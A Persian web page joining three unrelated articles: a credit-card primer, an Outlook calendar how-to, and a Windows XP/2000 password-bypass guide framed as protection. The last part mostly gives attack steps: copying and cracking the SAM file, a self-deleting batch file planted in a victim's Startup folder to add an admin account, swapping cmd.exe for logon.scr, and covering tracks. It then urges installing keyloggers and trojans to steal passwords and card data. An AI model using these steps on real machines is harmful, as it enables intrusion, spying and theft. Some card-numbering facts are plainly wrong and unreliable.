الفبای تجارت الکترونیکی

کارت اعتباری چیست؟
کارت اعتباری یک کارت پلاستیکی است که روی آن نام صاحب کارت و شماره آن به صورت برجسته وجود دارد و پشت کارت یک نوار مغناطیسی دیده می شود که درون خود برخی اطلاعات مهم مثل هویت و آدرس های دارنده کارت را ذخیره کرده است. سیستم های مالی کامپیوتری مانند دستگاه های خود پرداز ATM از این اطلاعات هنگام احراز هویت فرد به منظور برداشت پول استفاده می کنند. یک کارت اعتباری استاندارد شامل یک عدد 16 رقمی نیز هست که حاوی اطلاعات مهمی درباره نوع کارت،بانک صادر کننده آن و اطلاعات مهمی درباره نوع کارت،بانک صارد کننده آن و اطلاعات دیگر است. این شماره برای دارنده هر کارت منحصر به فرد است. از این شماره برای شناسایی دارنده کارت هنگام انجام معاملات الکترونیکی روی اینترنت نیز استفاده می شود.

تاریخچه
آن طور که در دائره المعارف های بریتانیکا و انکارتا آمده است،استفاده از این نوع کارت برا ی انجام نقل و انتقال پول ابتدا در دهه 1920 و در کشور آمریکا رواج یافت. در آن زمان برخی شرکت های خصوصی مانند بعضی از هتل های زنجیره ای و تعدادی از شرکت های نفتی مشتریان خود را به استفاده از این کارت ها برای سهولت در پرداخت تشویق می کردند. استفاده از این کارت ها پس از جنگ جهانی دوم و خروج از رکود اقتصادی شدت گرفت. اولین کارت اعتباری از نوع امروزی آن یعنی کارتی که بتوان با استفاده از آن در طیف وسیعی از فروشگاه ها و کسب و کارها پول مبادله کرد،در 1950 توسط Diners club inc. معرفی شد و هنوز هم یکی از کارت های اعتباری شناخته شده از این نوع به شمار می رود. در 1958 نیز کارت اعتباری دیگری در همین رده توسط شرکت American Express معرفی شد که در حال حاضر یکی از معروفترین نوع کارت های اعتباری است. مشخصه اصلی این دسته از کارت ها این است که شرکت صادر کننده کارت از دارنده آن یک مبلغ عضویت سالانه دریافت می کند و سپس به صورت ماهانه یا سالانه و یا در دوره های زمانی دیگر برای او صورت حساب می فرستد و معادل مبلغ این صورت حساب از موجودی دارنده کارت نزد شرکت صادر کننده آن کسر می شود. مدتی بعد سیستم کارت اعتباری بانکی رواج یافت. در این سیستم که امروزه نیز مورد استفاده است صادر کننده کارت اعتباری نزد بانک یک حساب دارند. هنگامی که کالا یا خدماتی توسط دارنده کارت (مشتری) خریداری می شود،این پول بلافاصله به حساب فروشنده (که خود نزد بانک حسابی دارد )واریز می شود. بانک نیز به نوبه خود این هزینه را به صورت ماهانه و یا در دوره های زمانی معین دیگری به حساب مشتری منظور می کند و صورت حساب برایش صادر می کند و در صورتی که به میزان کافی در حساب مشتری پول نباشد،طی مهلت معینی از مشتری می خواهد که حساب خود را تکمیل کند. مشتری می تواند مبلغ مورد نظر را یک جا و یا با اقساطی که بهره به آن تعلق می گیرد،به بانک بپردازد. اولین سیستم بانکی از این نوع در سال 1959 و از سوی Bank of America در کالفرنیا معرفی شد و Bank Americard نام داشت،این سیستم تنها در همان ایالت کار می کرد. اما بعدا” در سال 1966 در ایالت های دیگر نیز راه اندازی شد و صورت سراسری به خود گرفت. در سال 1976 این سیستم بانکی به VISA تغییر نام داد. ویزا امروزه یک کنسرسیوم بین المللی است که سیستم بانکی اغلب کشورهای دنیا در آن مشارکت دارند. در همان سال 1966 اتحادیه کارت بین بانکی یا Interbank card Association شکل گرفت و بعدا” به Master card تغییر نام داد. ویژگی مسترکات این بود که هیچ بانک خاصی در آن نقش محوری نداشت، بلکه هر کدام از بانکهایی که به صورت محلی اقدام به صدور کارت اعتباری برای مشتریان خود می کردند مایل بودند روشی برای متصل کردن سیستم های مالی خود به یکدیگر پیدا کنند. چنین سیستمی می توانست در میان مشتریان کوچک بانک ها که مایل بودند از کارت خود برای کارهایی مثل خرید مایحتاج روزانه و یا خرید اتومبیل و مسکن استفاده کنند علاقه مندان زیادی داشته باشد.

چرا کارت اعتباری؟
ممکن است این سوال در ذهن کسانی که با این کارت ها آشنایی ندارند به وجود آید که اصولا” فلسفه حضور این کارت ها چیست و مزیت اصلی آن ها کدام است. کارت های اعتباری چنانچه از نامشان پیداست مقدار معینی اعتبار مالی در اختیا رصاحب کارت قرار می دهند. هنگامی که شما با حساب بانکی خودتان کار می کنید سابقه مبادلات مالی شما نزد بانک محفوظ می ماند. بانک با استناد به این سابقه می تواند تخمین بزند که اصولا” میزان گردش مالی حساب شما در طول یک دوره زمانی خاص چقدر است. در واقع میانگین مانده حساب شما در هر دوره نشان دهنده حداقل میزان درآمد شما یا به تعبیر صحیح تر میزان توانایی مالی شما در هر دوره زمانی معین است. بانک یا هر موسسه مالی و اعتباری مشابه آن می تواند بر اساس آن مانده به شما اعتبار بدهد. اعتبار معمولا” مقدار نقدینگی یا پولی است که برابر یا بیشتر از میزان مانده حساب شما است. مقداری که می توانید در هر یک از آن دوره های زمانی از موسسه یا بانک قرض بگیرید.فرض موسسه مالی مذکور این است که شما قادر خواهید بود در اولین فرصت این قرض را برگردانید. به این ترتیب انجام قطعی معاملات و مبادلات مالی شما با دیگران موکول به میزان نقدینگی واقعی در دست شما نخواهد بود بلکه به میزان اعتبار شما نزد موسسه مالی متکی خواهد بود.

انواع کارت اعتباری
کارت های اعتباری را اساسا” می توان به دو دسته کارت های بانکی و غیر بانکی تقسیم کرد. کارت های اعتباری بانکی مثل ویزا و مسترکارت از سیستم اعتباری بانک ها استفاده می کنند. در حالی که کارت های غیر بانکی را شرکت ها و موسسات دولتی و خصوصی به مقاصد مختلفی عرضه می کنند. آمریکن اکسپرس و دینر کلاب نمونه کارت های اعتباری غیر بانکی هستند. همچنین در برخی از کشورها شرکت های مخابرات و تلفن و یا شرکت های توزیع کننده نفت،گاز و بنزین و نیز فروشگاه های زنجیره ای و باشگا ه های تفریحی اقدام به صدور کارت اعتباری می کنند. دامنه کاربرد این کارت ها بستگی به دامنه فعالیت شرکت مربوطه و یا اهداف مالی آنها دارد. در هر صورت فعالیت تمام این موسسات صادر کننده کارت باید زیر نظر نهاد مالی رسمی آن کشور و دارای مجوز فعالیت باشد. کارت های بانکی نیز دارای تنوع زیادی هستند. کارت های اعتباری تنها یک دسته از کارت های بانکی هستند و خود به انواع مختلفی تقسیم می شوند. انواع فرعی کارت ها ی اعتباری بانکی معمولا” بر اساس نحوه محاسبه بهره،سقف میزان اعتبار منتسب به کارت و حداقل موجودی دارنده حساب،نرخ حق اشتراک سالیانه و فاکتورهای مالی دیگر محاسبه می شود. بانک های صادر کننده کارت و یا شرکت های غیر بانکی معمولا” علاقه دارند که انواع کارت های خود را بر حسب امتیازات متفاوتی که در اختیار صاحب آن قرار می دهد به گروه هایی با نام طلایی،نقره ای و از این قبیل تقسیم کنند. یک دسته دیگر از کارت های بانکی مشابه آنچه که این روزها در کشور ما رایج است تنها به ارائه خدمات بانکی محدود از طریق باجه های خود پرداز اختصاص دارند و فاقد برخی از ویژگی های مهم یک کارت اعتباری استاندارد هستند. دسته دیگری از کارت های اعتباری بانکی نیز وجود دارند که در بسیاری از کشورهای دنیا که سیستم ها ی بین المللی مانند ویزا و مسترکارت در آن ها به رسمیت پذیرفته شده،به کار گرفته می شوند. این کارت ها معمولا” نام یک سازمان و یا شرکت را بر خود دارند.سازمان یا شرکت مذکور لزوما” یک موسسه یا نهاد مالی نیست بلکه ممکن است به قصد ارائه خدمات مالی به گروهی از اعضای وابسته به خود پدید آمده باشد. مثلا” برخی از فروشگاه های اینترنتی مثل آمازون یا Barnes & Noble یا حتی پورتال یاهو خدمات مالی از این دست را به اعضای خود ارائه می کنند. مشترکین یک lsp ،اعضای یک باشگاه و یا مشتریان یک فروشگاه ممکن است این شانس را داشته باشند که با تهیه یک کارت اعتباری از این نوع،ضمن بهره مندی از مزایای عمومی یک کارت اعتباری بانکی،از خدمات ویژه شرکت یا سازمان مذکور نیز استفاده کنند. مدل های مختلفی برای تعامل میان این سازمان هااز یک سو و بانک های صادر کننده کارت های بانکی و نیز کنسرسیوم های ویزا و مسترکارت وجود دارد. گاهی این سازمان ها مستقیما” با ویزا یا مسترکارت وارد معامله می شوند و خود یک واحد اعتباری مالی راه اندازی می کنند. گاهی نیز با یک بانک معتبر طرف قرارداد با هر یک از این کنسرسیوم های بین المللی وارد مذاکره می شوند. شکل اخیر رایج تر است زیرا معمولا” بانک های محلی شناخت بهتری از سابقه مالی نهادهای محلی دارند. همچنین سازمان ها و یا شرکت واسطه ممکن است بسته به نوع تعامل مالی خود با بانک صادر کننده اصلی کارت یا خود کنسرسیوم بین المللی ویزا و مسترکارت، درصد اندکی از بهای هر معامله را به عنوان پورسانت دریافت کند. به هر حال کاربران می توانند با تهیه کارت هایی از این نوع بدون مراجعه مستقیم به بانک معتبر و با واسطه یک شرکت تجاری به شبکه مالی مسترکارت یا ویزا بپیوندند. یک دسته مهم دیگر نیز از کارت های بانکی هستند که البته اعتباری نیستند ولی بیشتر قابلیت های آن مشابه کارت اعتباری است. به این کارت ها اصطلاحا” Dwbit Card یا کارت بدهی می گویند. برخلاف کارت اعتباری که به دارنده آن اجازه خرج کردن بیشتر از موجودی مانده در حساب می دهد،این کارت ها فقط به اندازه موجودی مانده حساب مرتبط با آنها اعتبار دارند و پس از به پایان رسیدن اعتبار یا باید مجددا” شارژ شوند و یا از درجه اعتبار ساقط می شوند. میزان حداقل و حداکثر موجودی در حساب این کارت ها نیز محدود است. مثلا” اگر سقف موجودی یک کارت بدهی 1000 دلار باشد به معنی آن است که صاحب آن نمی تواند بهای یک کالای 1100 دلاری را یک جا بپردازد. همچنین اگر کف موجودی یک کارت 100 دلار باشد به معنی آن است که صاحب آن اگر در کارت خود 110 دلار داشته باشد تنها قادر است 10 دلار آن را واقعا” هزینه کند و مابقی نزد بانک سپرده خواهد بود. همچنین بسیاری از کارت های بدهی فاقد قابلیت استفاده در دستگاه های خود پرداز (ATM ) هستند.

سیستم شماره گذاری
اگر چه سیستم کارت اعتباری به عنوان یک مدل اقتصادی در مبادلات مالی در تمام دنیا مورد استفاده قرار می گیرد اما این به معنای آن نیست که شرکت های صادر کننده این کارت ها همگی از سیتم و روش واحدی برای ذخیره اطلاعات و شماره گذاری کارت ها استفاده می کنند. اما امروزه تمام کارت های اعتباری استاندارد و مشهور بین المللی از سیستم شماره گذاری ANSL Standard x4.13-1983 برای این منظور استفاده می کنند. در این سیستم از یک عدد 16 رقمی استفاده می شود. این عدد برای سهولت هنگام خواندن یا به خاطر سپردن به صورت چهار رقمی نوشته می شود اما این تقسیم بندی چهارتایی هیچ ارزش و معنای خاصی ندارد. مثلا شماره گذاری یک کارت استاندارد مانند مسترکارت یا ویزا به این صورت انجام می شود. از سمت چپ اولین رقم مشخص کننده سیستم کارت اعتباری است،عدد 3 مشخص کننده یک کارت از خانواده کارت های باشگاه های تفریحی و سیر و سفر است. مثلا” 37 به معنی American Express و 38 به معنی Diners Club است. عدد 4 برای Discover Card استفاده می شود. در مورد Master Card رقم دوم تعداد ارقام بعدی که باید به عنوان شماره شناسایی بانک تفسیر شود را مشخص می کند. مثلا” عدد یک به معنی این است که رقم سوم شماره بانک است یا عدد 2 یعنی رقم های سوم و چهارم شماره بانک است. ارقامی که پس از شماره بانک می آیند حداکثر تا رقم پانزدهم مشخص کننده حساب دارنده کارت است و رقم شانزدهم یک رقم کنترلی (check Digit ) می باشد. در مورد visa ارقام دوم تا ششم شماره بانک و ارقام هفتم تا پانزدهم شماره حساب و ارقام سیزدهم یا شانزدهم رقم کنترلی هستند. اطلاعات این نوار بر روی سه تراک که عرض هر کدام به اندازه یک دهم اینچ است ذخیره می شود. تراک های اول و سوم می توانند 210 بیت بر اینچ (pbi )و تراک دوم می تواند 75 بیت بر اینچ ذخیره کند. جزئیات نحوه ذخیره سازی اطلاعات روی این تراک ها در استاندارد SO\LEC 7811 آمده است. متناظر با هر کارت اعتباری بانکی مشخصات مهمی از دارنده کارت نزد بانک صادر کننده کارت ثبت می شود. این اطلاعات حداقل شامل نام و نام خانوادگی دقیق دارنده کارت ،آدرس صحیح وی و شهر و کشور محل سکونت است. علاوه بر اطلاعات فوق،تاریخ انقضای اعتبار کارت نیز ثبت می شود. به طور معمول پیش از سر رسیدن تاریخ انقضای کارت، صادر کننده آن با صاحب کارت تماس می گیرد و او را برای جایگزین کردن کارت فعلی با کارت جدید تشویق می کند،کارت جدید ممکن است دارای شماره متفاوتی باشد یا از همان شماره قبلی برای مدت معین دیگری مجددا” استفاده کنند.

استفاده از کارت اعتباری
اطلاعاتی که همواره هر کارت اعتباری بانکی بین المللی ثبت می شود توسط کنسرسیوم مربوطه بانک اصلی صادر کننده،واسطه احتمالی صدور کارت،و نیز خود دارنده آن قابل ا دسترسی است. اما هنگامی که به یک معامله الکترونیکی از این طریق صورت می گیرد،فروشنده کالا یا خدمات تنها به اطلاعات ناچیزی از این مجموعه دسترسی دارد که آن نیز فقط برای انجام الکترونیکی معامله مورد نیاز است و در سیستم های امن و استاندارد شبکه مبادلات الکترونیکی پول هرگز مشخصات کامل دارنده کارت در اختیار فروشنده قرار نمی گیرد. اگر یک کارت اعتباری یا بدهی از نوع ویزا و مسترکارت توسط یک بانک معتبر صادر شود،به احتمال زیاد دارنده آن کارت خواهد توانست از طریق شبکه اینترنت و با مراجعه به سایت بانک مربوطه،به حساب مرتبط با کارتش دسترسی پیدا کند و علاوه بر اطلاعات هویت و آدرس خود،سابقه گردش مالی حسابش را ببیند و از دیگر خدمات آنلاین بانک مذکور استفاده کند. همچنین صاحب کارت می تواند با مراجعه به یک یاز هزاران سایت فروشنده آنلاین کالا و خدمات در اینترنت،کالایی سفارش دهد. هنگام ثبت سفارش خرید،همان اطلاعاتی که در کارت اعتباری درج شده است از خریدار تقاضا می شود. اگرسایت مذکور قبلا یک گواهی معتبر (certificate ) از یکی از شرکت های صادر کننده گواهی دیجیتال دریافت کرده باشد،به معنی آن است که این اطلاعات مستقیما” و از طریق یک پروتکل امن برای بانک صادر کننده کارت ارسال و صحت اطلاعات ارسال شده و میزان موجود حساب کارت کنترل و نتیجه آن به سایت فروشنده اطلاع داده می شود. هنگام ثبت سفارش دو آدرس توسط فروشنده از خریدار تقاضا می شود . اگر خریدار هنگام ثبت سفارش قصد داشته باشد کالا را به آدرس دیگری غیر از آدرس ثبت شده در کارت اعتباری خود بفرستد (اصطلاحا” اگر آدرس Billing یا صورت حساب متفاوت از آدرس Shipping یا ارسال کالای خریداری شده باشد.) آدرس دومی نیز ضروری است در غیر این صورت کالا به آدرس پیش فرض در کارت اعتباری ارسال می گردد. توجه به این نکته ضروری است،که برخی از سایت ای اینترنتی برای خریداران خود یک پروفایل ایجاد می کنند و نام خریدار آدرس ثبت شده در کارت اعتباری و شماره 16 رقمی کارت را به همراه نوع آن مثلا مسترکارت روی بانک اطلاعاتی خود ثبت می کنند تا خریدار در مراجعه بعدی نیازمند پرکردن مجدد این مشخصات هنگام ثبت سفارش نباشد. دراین صورت باید خریدار اطمینان حاصل کند که اطلاعات کارت اعتباری او از سوی سایت فروشنده مورد سوء استفاده قرار نخواهد گرفت.

برخی اصطلاحات مهم مرتبط با کارت اعتباری
در مقالات آینده به تفصیل نحوه استفاده از کارت های اعتباری بین المللی و مکانیزم گردش الکترونیکی پول در شبکه اینترنت را توضیح خواهیم داد. اما قبل از این که بخواهید از این کارت ها استفاده کنید و احتمالا” کالایی را به صورت الکترونیکی بخرید،بد نیست با بعضی از اصطلاحات رایج بین المللی در این زمینه آشنا شوید.
Annual Fee :حق عضویت سالانه که برخی از شرکت ها هنگام صدور کارت یا تمدید عضویت دریافت می کنند. این روزها بسیاری از صادر کنندگان کارت شعار بدون حق عضویت سالانه را تبلیغ می کنند و احتمال آن هایی هم که اکنون این مبالغ را دریافت می کنند در آینده از آن چشم پوشی خواهند کرد تا مشتریان خود را حفظ کنند.
Finance charge :شارژ مالی . عبارت است از پولی که شما بابت استفاده از کارت اعتباری می پردازید. بهزبان ساده، این همان پولی است که شما هنگام خرید کردن کالا و خدمات از حساب خود خارج می کنید. این مقدرا علاوه بر هزینه های مربوط به بهره ممکن است شامل کارمزدهای دیگری مانند cache-advance fees نیز باشد. کارمزد اخیر هنگامی از دارنده کارت اخذ می شود که شما بیش از موجودی مانده حساب خود هزینه کنید.

Interest Rate :نرخ سود. شیوه های مختلفی برای محاسبه نرخ سود وجود دارد. اغلب کارت های اعتباری از شیوه های مختلف محاسبه APR استفاده می کنند. اما کارت های بدهی ممکن است از شیوه ها ی دیگری مثل کسر مقدار ناچیز و ثابتی از پول به ازای هر بار خرید استفاده کنند.

Annual Percentage Rate(APR) :درصدی از میزان شارژ مالی شما در طول یک سال. این عدد به زبان ساده همان سود سالانه ای است که بابت ارائه خدمات الکترونیکی از شما کسر می شود.

Fixed Rate : اگر APR بر مبنای نرخ سود ثابت سالانه محاسبه شود به آن نرخ ثابت می گویند.

Variable Rate :اگر نرخ سود سالانه متغیر و وابسته به دیگر انواع نرخ بهره بانکی باشد،به آن نرخ شناور و یا متغیر می گویند. این نرخ معمولا” از مجموع دو عدد دیگر یعنی نرخ پایه ای بهره که قابل تغییر توسط مدیریت امور بانکی کشور است و درصدی از همین عدد که توسط موسسه مالی مربوطه تعیین می شود به دست می آید.

زمانبندی قرارملاقاتها با outlook

اگر مدیر یک شرکت هستید یا در اجرای زمانبندی کارهایتان در منزل با مشکل فراموشی مواجه میباشید چرا از قابلیتهای زمانبندی آوتلوک سود نمیبرید. این برنامه میتواند به شما کمک کند تا مسائل مهم را فراموش نکنید.

بخش تقویم یا کلند (Calendar) برنامه آوتلوک مایکروسافت در کنار توانمندیهای دیگری مانند ارسال و دریافت ایمیل، اطلاعات افراد و غیرو میتواند وقایع یک روز، یک هفته یا یک ماه را در یک زمان پیش روی شما نمایش دهد. به کمک بخش Calendar از برنامه Outlook قادر خواهید بود تا قرارهای ملاقات خود را تنظیم کنید و آنها را مدیریت نمایید.
همانطور که از دفترچه و کاغذ برای ثبت قرارهای خود استفاده میکنید این امکان پیش رویتان قار دارد تا بر روی ساعت مورد نظر در روزی خاص کلیک کنید و آنگاه شرح قرارتان را تایپ نمائید. تغییر رنگ باعث میشود تا بتوانید بسادگی زمان و روز جاری را از بقیه روزها تشخیص دهید.
کلندر دارای سه نوع ثبت وقایع مختلف بنامهای Appointments و Meetings و Events است. اما سئوالات زیادی دراینباره میشود که فرق بین Appointments و Meetings و Events چیست.
Appointments - قرار ملاقاتی است که فقط با یک نفر در تقویم (کلندر) تنظیم میکنید به نحویکه افراد دیگر در آن دعوت نمیشوند. این امکان برایتان وجودد دارد که یادآور برای این نوع قرار ملاقات تنظیم کنید و آنرا به نحوی تنظیم کنید که تکرار شود.
Meetings - قرار ملاقاتی است که با چند نفر تنظیم میشود. امکان ایجاد و ارسال دعوتنامه برای این قرار ملاقات وجود دارد. وقتی Meeting را تنظیم میکنید، افرادی که باید دعوت کنید را مشخص میکنید و سپس زمان را هم تنظیم مینمائید. پاسخ به این میتینگ در Inbox ایمیلتان ظاهر میشود.
Events - واقعه ای است که 24 ساعت یا بیشتر طول میکشد، مانند نمایشگاه، المپیک، تعطیلات یا سمینار. این وقایع معمولا یکبار اتفاق میافتد که یک روز یا بیشتر طول میکشد. وقایع سالیانه هم وجود دارد مانند تولد یا سالگرد ازدواج که سالی یکبار در یک زمان مشخص تکرار میشود. این وقایع زمان شما را در تقویم اشغال نمیکند بلکه در بنر (Banner) ظاهر میشود.



برای ایجاد قرار، روی Calendar در Folder List کلیک کنید تا سیستم روی Calendar تمرکز کند. سپس روی New کلیک کنید. سپس در صفحه باز شده، موضوع قرارملاقات را در Subject تایپ کنید. محل قرار را در قسمت Location تایپ کنید. زمان شروع و خاتمه قرار را در Start Time و End Time وارد کنید. اگر قرار در تمام روز است انتخاب All day event را برگزینید. در این مرحله میتوانید به سیستم بگویید که بشما یادآوری کند. انتخاب Reminder را انجام دهید. سیستم میتواند مدت زمان خاصی قبل از قزار، شما را مطلع نماید. این مقدار را در مقابل Reminder انتخاب کنبد. قسمت Show times as میتواند کنترل کند که تقویم، این قرار را چگونه نمایش دهد. مثلا قرارهای داخل دفتر شما میتواند با رنگ خاصی در تقویم مشخص شود. روی مثلث کوچک این قسمت کلیک کنید تا انتخاب مورد نظرتان مانند Free - Tentative - Busy - Out of Office را انجام دهید. هر عبارت مورد نظر را در بدنه پیام تایپ کنید.



یکی از قابلیتهای جالب Outlook مشخصه تکرار آنست. مثلا اگر قراری در دفتر خودتان هر دوشنبه از ساعت 8 تا 10 صبح برگزار میشود، سیستم میتواند بطور خودکار آنرا مرتب و هر هفته بشما یادآوری کند.
برای تکرار یک قرار ابتدا آنرا باز کنید. سپس روی Recurrence کلیک کنید. برای قرارهای جدید از منوی Actions انتخاب Recurrence را انجام دهید. سپس New Recurrence را انتخاب کنید. پترن مورد نظر را مطابق روزانه، هفتگی، ماهیانه یا سالیانه انتخاب کنید. حال میتوانید قرار را Save and Close کنید.
چگونگی نمایش تقویم میتواند از قسمت View انجام شود که میتواند Day - Work Week - Week - Month باشد.
اگر قصد پاک کردن یک قرار را دارید ابتدا آنرا باز کنید و در تولبار روی آیکون Delete که بشکل X است کلیک کنید. مورد پاک شده به فلدر Deleted Items منتقل میشود. برای پاک کردن این فلدر میتوانید روی آن کلیک راست کرده و عبارت Empty Deleted Items Folder را انتخاب نمائید.
برای ایجاد Meeting و اطمینان از اینکه تمام افراد حاضر در میتینگ به موقع به میتینگ میرسند میتوانید روی Action کلیک کنید و وقتیکه Calendar در Folder List هایلایت میباشد انتخاب Plan a Meeting را انجام دهید. پنجره ای ظاهر میشود. اگر طرفهای قرار از Outlook سود میبرند، نامشان را در ستون All Attendees تایپ کنید تا زمانبندیهایشان ظاهر شود. با کلیک روی Autopick Next بهترین زمان برای همه انتخاب میشود.

چگونه از ویندوز اکس پی خود در برابر حمله به کلمه عبور محافظت کنی

در این مقاله سعی دارم روشهای نفوذ به ویندوز XP , 2000 را شرح بدهم ، چون وقتی که با روش های نفوذ به ویندوز آشنا باشید بهتر می توانید از آن محافظت کنید .
(توجه : در این مقاله فرض می کنیم که فایل سیستم ویندوز NTFS است ).

برای این کار چند روش وجود دارد :

» روش اول :

در جایی که از شما UserName , Password پرسیده می شود کلید های Alt+Ctrl+Del را دو مرتبه همزمان فشار دهید . در قسمت UserName کلمه Administrator را وارد کرده و جای کلمه عبور را خالی بگذارید و Enter بزنید تا وارد ویندوز شوید ...

خوب این روش ساده بود اما همیشه کارساز نیست اگر برای Administrator آن کلمه عبوری قرار داده شده باشد ؟!!

به سراغ روش دوم میرویم :

» روش دوم :

1- ابتدا یک فلاپی Bootable می سازیم .

2- اغلب فایل سیستم ویندوز XP,2000 از نوع NTFS است و در محیط شبیه Dos که با فلاپی راه اندازی میشود شناخته نمی شود بنا براین ما برای این کار نیاز به برنامه هایی مثل NTFS4DOS ( دانلود : http://users.cjb.net/mojtaba/ntfs4dos.zip ) داریم.(این نوع برنامه ها امکان کار کردن با درایو هایی که فایل سیستم آنها Ntfs را در dos به ما می دهد.)

3- حالا که فلاپی آماده شد باید با آن سیستم را راه اندازی کرد... اما اگر در Setup سیستم تنظیم شده باشد که با فلاپی راه اندازی نشود ...؟!! آنگاه باید به سراغ Setup رفت و در آن تنظیمات لازم را انجام دهیم اگر Setup با کلمه عبور محافظت شود آنگاه باید به Bios ( مقاله نفوذ به بایوس : لینک مقاله بایوس ) نفوذ کنیم.

4- خوب پس از انجام مراحل فوق فلاپی را در فلاپی درایو قرار داده و سیستم را با آن راه اندازی می کنیم . و بر نامه NTFS4DOS را اجرا می کنیم تا به اطلاعات درایو های NTFS دسترسی داشته باشیم .

5- درایوی که ویندوز در آن نصب است را پیدا می کنیم و به مسیر زیر رفته :

%Windir%\System32\Config\

Example : c:\windows\system32\config

در این پوشه فایلی به نام * sam را در فلاپی کپی می کنیم.

( نکته : در ویندوز 2000 با پاک کردن این فایل دیگر کار تمام است و میتوان با Username: Administrator و بدون پسورد وارد شویم اما میتوان برای این که رد پایی باقی نماند از فایل Sam یک کپی داشته باشیم تا بعد از انجام کارمان در ویندوز با برگرداندن این فایل به جای قبلی آن رد پای خود را پاک کنیم و نام و پسورد کاربران به حالت قبل برگردد.)

از این مرحله به بعد برای Windows Xp بیشتر توصیه میشود :

6- بعد از کپی فایل با برنامه هایی نظیر L0phtCrack ,John the Ripper آن را کرک می کنیم تا پسورد را به دست آورد .

» روش سوم :

در این روش چهار مرحله اول روش دوم را انجام میدهیم.

1- دستورات زیر را در Notepad می نویسیم و در فایلی با نام و پسوند test.bat ذخیره میکنیم :

echo off@

net user administrator 123 /add

net localgroup administrator administrators /add

net user administrator 123

del test.bat

echo on@

2- بعد فایل مورد نظر را در فلاپی کپی کرده و به سراغ کامپیوتر قربانی می رویم و فایلی که در مرحله قبل ساخته ایم را در مسیر زیر کپی می کنیم(به فرض که ویندوز در درایو C نصب باشد و کاربری با نام MOJTABA مدیر سیستم باشد):

C:\Documents and Settings\MOJTABA\Start Menu\Programs\Startup

3- خوب حالا فقط کافی است که منتظر بمانید تا کاربر MOJTABA یک بار وارد شود دیگر تمام است و شما بعد از آن می توانید با نام کاربری Administrator و کلمه عبور 123 وارد سیستم شوید.

توضیح دستورات مربوط به فایلی که میسازیم :

در خط اول این دستور باعث مخفی شدن بقیه دستورات در حال اجرا از دید کاربر می شود.

در خط دوم ما یک کاربر بانام Administrator و کلمه عبور 123 می سازیم .(این عمل برای این صورت می گیرد که ممکن است نام Administrator را تغییر داده باشند).

در خط سوم کاربری را که در خط قبل ساخته ایم را به عنوان سرپرست (ادمین) سیستم قرار میدهیم.

در خط چهارم احتمال می دهیم که نام Administrator را تغییر داده نشده باشد . پس ما فقط پسورد آن را عوض می کنیم.

در خط پنجم برای از بین بردن رد پا فایلی را که ساخته ایم را پاک می کنیم.

در خط ششم هم حالتی را که دستور خط اول ایجاد کرده بود به حالت اول بر می گردانیم.



نکته : توجه کنید که به جای کاربر Administrator و کلمه عبور 123 هر کاربر یا کلمه عبور دیگری می توانید قرار دهید اما این کاربر کمتر باعث شک می شود .

روش چهارم :

استفاده از برنامه Windows XP / 2000 / NT Key است . نسخه آزمایشی این برنامه را می توانید از اینجا دریافت کنید.

» روش پنجم ( البته این روش را من پیدا نکردم اما اشکالات آن را رفع کرده ام)

تا مرحله 4 را انجام می دهیم حالا در Dos هستیم و دستورات را جلوی خط فرمان می نویسیم .

الف - ابتدا به درایوی می رویم که در آن ویندوز نصب شده است .برای مثال فرض کنیم در درایو C نصب باشد دستور زیر را اجرا می کنیم :
:c

ب - Windows/System32 میرویم .و در آنجا کارهای زیر را انجام می دهیم :
با دستور : cd windows/system32

پ - یک پوشه ایجاد می کنیم با دستور زیر :
md hack

ت - حالا دو فایل cmd.exe و logon.scr را به این پوشه کپی می کنیم تا یک نسخه پشتیبان از این فایل ها داشته باشیم با اجرای دستورات زیر :
copy cmd.exe hack
copy logon.scr hack

ث - حالا فایل logon.scr را پاک می کنیم :
del logon.scr

ج - حالا فایل cmd.exe را به logon.scr تغییر نام می دهیم :
ren cmd.exe logon.scr

حالا کافی است کامپیوتر را ریستارت کنید .
بعد از این که ویندوز بالا آمد ، اگر توجه کنید چند دقیقه که صبر کنید در حالت عادی Screen saver Logon.scr به اجرا در می آید اما با این دستکاری که ما کرده ایم Cmd.exe به اجرا در می آید حالا می توانید کاربر جدید ایجاد کنید و یا کلمه عبور را عوض کنید .
برای ایجاد حساب کاربری از دستور زیر استفاده می کنیم :

net user Mojtaba 123 /add

این دستور یک حساب کاربری با نام Mojtaba و کلمه عبور 123 ایجاد می کند.
برای این که این کاربر را مدیر(Administrator) قرار دهیم دستور زیر را انجام می دهیم :

net localgroup Mojtaba administrators /add

حالا اگر یک حساب کاربری موجود باشد و بخواهیم پسورد اون رو عوض کنیم دستور زیر را انجام می دهیم :

net user Ali 123

این دستور بدون این که پسورد قبلی کاربر Ali را از ما بخواهد پسورد اون رو به 123 تغییر می دهد.

ضمنا بعد از ورود به سیستم فایل هایی که در پوشه hack کپی کرده ایم را به جای قبلی برگردانید و پوشه hack را پاک کنید تا ردی باقی نماند .

-------------------------------------------------------------------------------------------------
نتیجه :

حالا که به عنوان مدیر وارد سیستم شدیم چه کارهایی می توانیم انجام دهیم .

اول این که می توانید به اطلاعات سیستم دسترسی پیدا کرده و ...

دوم این که توصیه می شود یک برنامه جاسوسی مثل XpSpy ها ویا Key Logger ها نصب کنید تا تمامی پسورد های ایمیل ها و کارتهای اعتباری و ... و وب سایت های که سر می زند و حتی کلماتی که چت می کند و ... را بدانید ( در آینده نه چندان دور مقاله ای در مورد برنامه های جاسوسی خواهم نوشت ).

سوم این که میتوانید یک تروجان روی کامپیوتر قربانی نصب کنید و بقیه اش رو خودتون میدونین ...

چهارم این که می توانید کامپیوتر او را طوری پیکر بندی کنید که به شما اجازه ریموت کردن را بدهد و با یک تروجان آی پی اون رو به دست آورید و اون را کنترل کنید .

پنجم ...

توصیه های مهم :

1- از دسترسی افراد نامطمئن به سیستم خود جلوگیری کنید .

2- حداقل کاری که میتونین انجام بدین این است که سیستم شما با CDو یا Floppy بوت نشود و Bios خود را با کلمه رمز محافظت نمایید.

3- همیشه از کلمات عبور پیچیده که مخلوتی از حرف و عدد و علائم ویژه باشد استفاده کنید . مثلا کلمه عبور X@#%Übps خیلی بهتر از کلمه عبور spssstudioworks است . این کار حداقل کرک کردن پسورد شما را طولانی میکند.

4- LM Hash را غیر فعال کنید . برای این منظور به کنترل پانل رفته و Local Security Policy را از Administrative Tools را اجرا کرده و به پوشه Security Option از پوشه Local Policies رفته و در آنجا Network Security : Do not Store LAN Manager hash value on next password change را Enable کنید سپس پسورد ادمین را عوض کنید.

5- نام کاربری Administrator وGuest را حتما تغییر دهید و برای آنها کلمه عبور قرار دهید .

6- اگر به کاربر Guest نیازی ندارید آن را غیر فعال کنید .

